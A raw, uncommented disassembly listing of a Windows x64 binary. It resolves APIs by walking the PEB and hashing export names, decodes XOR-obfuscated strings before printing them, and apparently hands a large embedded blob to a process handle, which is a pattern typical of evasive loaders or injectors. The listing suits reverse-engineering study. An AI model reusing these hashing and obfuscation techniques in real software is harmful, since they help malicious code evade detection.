mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x974bcdbf
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000c982
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000c960
cmp edx, 0xbb74db62
je 0x14000cb0a
test r8d, r8d
jne 0x14000c940
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000c99d
cmp qword [rax + 0x30], 0
jne 0x14000c910
xor eax, eax
mov ecx, 0x1f4
call rax
sub qword [rbp + 0xb20], 1
jne 0x14000c860
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x4070638b6d3387bc
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x280], rax
mov qword [rbp + 0xb20], r12
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x288], rax
movabs rax, 0x8ec9f4855894d2eb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x290], rax
movabs rax, 0xbdad1fb419674218
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x298], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x58], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x60], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0x280]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x280], xmm0
movdqa xmm1, xmmword [rbp + 0x290]
xorps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x290], xmm1
lea rdx, [rbp + 0x280]
call fcn.140015070
call fcn.140018c40
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
jmp 0x14000c4f0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000c83f
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000c99f
mov rcx, rbx
call fcn.140007ea0
test al, al
jne 0x14000d226
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000cbc7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000cbc7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x5668bca9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000cbc2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000cba0
cmp edx, 0xade3c08
je 0x14000d1d1
test r8d, r8d
jne 0x14000cb80
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000cbdd
cmp qword [rax + 0x30], 0
jne 0x14000cb50
mov r8, r14
movabs rax, 0x231663d9227fc8d2
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x98], rax
movabs rbx, 0x605043ab4d13a7b1
mov qword [rbp + 0xb30], rbx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x600], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x608], rax
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x600]
movdqa xmmword [rbp + 0x90], xmm0
lea rcx, [rbp + 0x90]
call r8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xb30], r12
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x400], rax
movabs rax, 0x280acf0aea6c7b26
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x408], rax
movabs r12, 0x8ec9f4855894d2eb
mov qword [rbp + 0xb30], r12
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x410], rax
movabs rax, 0xd8f956e148352318
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x418], rax
movabs rax, 0x8f6b19d7762de4c1
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x420], rax
movabs rax, 0xd74125921efe99e5
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x428], rax
movabs rax, 0xaf61fd75e60c723c
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x430], rax
movabs r14, 0x967acca04138effc
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x438], rax
mov qword [rbp + 0xb30], rbx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x870], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x878], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x880], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x888], rax
movabs rax, 0xec0570f7175f91b5
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x890], rax
mov qword [rbp + 0xb30], r13
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x898], rax
movabs r15, 0xaf6192118865136f
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x8a0], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x8a8], rax
movdqa xmm0, xmmword [rbp + 0x400]
xorps xmm0, xmmword [rbp + 0x870]
movdqa xmmword [rbp + 0x400], xmm0
movdqa xmm1, xmmword [rbp + 0x410]
xorps xmm1, xmmword [rbp + 0x880]
movdqa xmmword [rbp + 0x410], xmm1
movdqa xmm0, xmmword [rbp + 0x420]
xorps xmm0, xmmword [rbp + 0x890]
movdqa xmmword [rbp + 0x420], xmm0
movdqa xmm1, xmmword [rbp + 0x430]
xorps xmm1, xmmword [rbp + 0x8a0]
movdqa xmmword [rbp + 0x430], xmm1
lea rdx, [rbp + 0x400]
call fcn.140015070
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000cf27
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000cf27
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xeb2dd68b
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000cf22
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000cf00
cmp edx, 0xb06e85ce
je 0x14000d1ee
test r8d, r8d
jne 0x14000cee0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000cf3d
cmp qword [rax + 0x30], 0
jne 0x14000ceb0
xor eax, eax
mov ecx, 0x1f4
call rax
movabs r14, 0x82aef2aca4c5b06
movabs r15, 0x605043ab4d13a7b1
nop word [rax + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x605043ab4d13879f
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x6b0], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x6b8], rax
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x6b0]
movdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0xa0]
call fcn.140015070
lea rdx, [0x140015a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000d087
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000d087
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x2b5ba2dd
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000d082
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000d060
cmp edx, 0xc21467a0
je 0x14000d20a
test r8d, r8d
jne 0x14000d040
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000d09d
cmp qword [rax + 0x30], 0
jne 0x14000d010
xor eax, eax
mov ecx, 0x1f4
call rax
sub qword [rbp + 0xb20], 1
jne 0x14000cf60
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x4070638b6d3387bc
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x180], rax
movabs rax, 0x280acf0aea6c7b26
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x188], rax
mov qword [rbp + 0xb20], r12
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x190], rax
movabs rax, 0xbdad1fb419674218
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x198], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x58], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x60], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x180], xmm0
movdqa xmm1, xmmword [rbp + 0x190]
xorps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x190], xmm1
lea rdx, [rbp + 0x180]
call fcn.140015070
call fcn.140018c40
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
jmp 0x14000cbe0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000cf3f
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000d09f
lea rcx, [rbp - 0x80]
call fcn.140018270
lea rax, [0x1400260e0]
mov qword [rbp + 0x508], rax
lea rax, [0x14011c0e0]
mov qword [rbp + 0x500], rax
lea r9, [rbp + 0x500]
lea r8, [rbp + 0x508]
mov edx, 0xf6000
lea rcx, [rbp - 0x80]
call fcn.1400178b0
nop
mov r8, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x80]
sub r8, rdx
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], 1
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r9b, 1
mov rcx, rbx
call fcn.1400010b0
test al, al
je 0x14000eba3
mov rax, qword [rbp - 0x80]
cmp rax, qword [rbp - 0x78]
je 0x14000d2b0
mov qword [rbp - 0x78], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000d347
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000d347
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xe0913bd2
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000d342
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000d320
cmp edx, 0x172627fb
je 0x14000df91
test r8d, r8d
jne 0x14000d300
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000d35d
cmp qword [rax + 0x30], 0
jne 0x14000d2d0
mov rdx, r14
movabs rax, 0x605043ab4d60cbd2
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0xb8], rax
movabs rax, 0x605043ab4d13a7b1
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x6c0], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x6c8], rax
movdqa xmm0, xmmword [rbp + 0x6c0]
xorps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xb0]
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000d477
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000d477
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xf103b120
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000d472
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000d450
cmp edx, 0xebf85af3
je 0x14000dfad
test r8d, r8d
jne 0x14000d430
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000d48d
cmp qword [rax + 0x30], 0
jne 0x14000d400
mov rdx, r14
mov ecx, 0xa
call rdx
lea rdx, str._n_n_n_____________n_____________n_____________n______________________________________________________________________________n_____________________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400155c0
mov rcx, rax
mov dl, 0xa
call fcn.140015830
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xb30], r12
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x440], rax
movabs rax, 0x280acf0aea6c7b26
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x448], rax
movabs rax, 0xdc8c82855894d2eb
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x450], rax
movabs rax, 0xd4f95eb456e4a14b
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x458], rax
movabs rax, 0x816a13d7763bf0c3
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x460], rax
movabs rax, 0x9813378318f998aa
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x468], rax
movabs rax, 0xaf6192118865134e
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x470], rax
movabs r14, 0x967acca04138effc
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x478], rax
movabs rax, 0x605043ab4d13a7b1
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x8b0], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x8b8], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x8c0], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x8c8], rax
movabs rax, 0xec0570f7175f91b5
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x8d0], rax
mov qword [rbp + 0xb30], r13
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x8d8], rax
movabs r15, 0xaf6192118865136f
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x8e0], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x8e8], rax
movdqa xmm0, xmmword [rbp + 0x8b0]
xorps xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0x440], xmm0
movdqa xmm1, xmmword [rbp + 0x450]
xorps xmm1, xmmword [rbp + 0x8c0]
movdqa xmmword [rbp + 0x450], xmm1
movdqa xmm0, xmmword [rbp + 0x460]
xorps xmm0, xmmword [rbp + 0x8d0]
movdqa xmmword [rbp + 0x460], xmm0
movdqa xmm1, xmmword [rbp + 0x470]
xorps xmm1, xmmword [rbp + 0x8e0]
movdqa xmmword [rbp + 0x470], xmm1
lea rdx, [rbp + 0x440]
call fcn.140015070
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000d787
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000d787
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xabccf06a
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000d782
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000d760
cmp edx, 0x61178bad
je 0x14000dfc9
test r8d, r8d
jne 0x14000d740
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000d79d
cmp qword [rax + 0x30], 0
jne 0x14000d710
xor edx, edx
mov ecx, 0xbb8
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000d837
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000d837
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xd06746ce
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000d832
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000d810
cmp edx, 0x5a0150d1
je 0x14000dfe5
test r8d, r8d
jne 0x14000d7f0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000d84d
cmp qword [rax + 0x30], 0
jne 0x14000d7c0
xor edx, edx
mov ecx, 0x3e8
call rdx
movabs rax, 0x607e43db4d67a7d7
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0xc0], rax
movabs rax, 0x82aef4fca345b63
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0xc8], rax
movabs rax, 0x605043ab4d13a7b1
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x6d0], rax
movabs rbx, 0x82aef2aca4c5b06
mov qword [rbp + 0xb30], rbx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x6d8], rax
movdqa xmm0, xmmword [rbp + 0x6d0]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0xc0], xmm0
mov edx, 0xd
lea rcx, [rbp + 0xc0]
call fcn.1400080a0
mov rcx, qword gs:[0x60]
test eax, eax
mov rax, qword [rcx + 0x18]
mov rcx, qword [rax + 0x10]
mov rsi, qword [rcx]
mov rdi, rsi
jne 0x14000e060
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000d997
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000d997
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xd118701f
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000d992
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000d970
cmp edx, 0xe424127e
je 0x14000e001
test r8d, r8d
jne 0x14000d950
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000d9ad
cmp qword [rax + 0x30], 0
jne 0x14000d920
xor r8d, r8d
movabs rax, 0x231663d9227fc8d2
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0xd0], rax
movabs rbx, 0x82aef2aca4c5b06
mov qword [rbp + 0xb30], rbx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0xd8], rax
movabs rdi, 0x605043ab4d13a7b1
mov qword [rbp + 0xb30], rdi
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x6e0], rax
mov qword [rbp + 0xb30], rbx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x6e8], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x6e0]
movdqa xmmword [rbp + 0xd0], xmm0
lea rcx, [rbp + 0xd0]
call r8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xb30], r12
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x480], rax
movabs r12, 0x280acf0aea6c7b26
mov qword [rbp + 0xb30], r12
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x488], rax
movabs rax, 0xde88f4ea5894d2eb
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x490], rax
movabs rax, 0xd2fb56e058240b54
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x498], rax
movabs rax, 0x996a1884762df295
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x4a0], rax
movabs rax, 0x98042a8f1adfcbab
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x4a8], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x4b0], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x4b8], rax
mov qword [rbp + 0xb30], rdi
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x8f0], rax
mov qword [rbp + 0xb30], rbx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x8f8], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x900], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x908], rax
movabs rax, 0xec0570f7175f91b5
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x910], rax
mov qword [rbp + 0xb30], r13
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x918], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x920], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x928], rax
movdqa xmm0, xmmword [rbp + 0x8f0]
xorps xmm0, xmmword [rbp + 0x480]
movdqa xmmword [rbp + 0x480], xmm0
movdqa xmm1, xmmword [rbp + 0x490]
xorps xmm1, xmmword [rbp + 0x900]
movdqa xmmword [rbp + 0x490], xmm1
movdqa xmm0, xmmword [rbp + 0x4a0]
xorps xmm0, xmmword [rbp + 0x910]
movdqa xmmword [rbp + 0x4a0], xmm0
movdqa xmm1, xmmword [rbp + 0x4b0]
xorps xmm1, xmmword [rbp + 0x920]
movdqa xmmword [rbp + 0x4b0], xmm1
lea rdx, [rbp + 0x480]
call fcn.140015070
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000dce7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000dce7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x257cb23
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000dce2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000dcc0
cmp edx, 0x63679986
je 0x14000e01e
test r8d, r8d
jne 0x14000dca0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000dcfd
cmp qword [rax + 0x30], 0
jne 0x14000dc70
xor eax, eax
mov ecx, 0x1f4
call rax
movabs r14, 0x82aef2aca4c5b06
movabs r15, 0x605043ab4d13a7b1
nop word [rax + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x605043ab4d13879f
mov qword [rbp + 0xb30], rax
